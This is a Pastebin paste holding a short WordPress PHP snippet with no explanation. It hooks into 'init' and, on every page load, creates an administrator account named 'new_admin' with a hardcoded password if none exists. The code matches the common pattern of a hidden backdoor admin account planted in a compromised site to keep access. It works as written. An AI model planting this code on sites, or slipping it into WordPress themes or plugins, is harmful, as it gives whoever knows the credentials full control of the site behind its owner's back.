Advertisement
Jenderal92

Untitled

Jun 5th, 2023
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. function create_new_admin_user_account() {
  2. $username = 'new_admin';
  3. $password = 'New_Password!123';
  4. $email = '[email protected]';
  5.  
  6. //Check to see if an account exists with the given username and email address value.
  7. if ( !username_exists($username) && !email_exists($email) ) {
  8. //All clear. Go ahead.
  9.  
  10. //Create WP User entry
  11. $user_id = wp_create_user($username, $password, $email);
  12.  
  13. //WP User object
  14. $wp_user = new WP_User($user_id);
  15.  
  16. //Set the role of this user to administrator.
  17. $wp_user->set_role('administrator');
  18. }
  19. }
  20. //Run the function with WordPress's "init" hook is triggered.
  21. add_action('init', 'create_new_admin_user_account');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement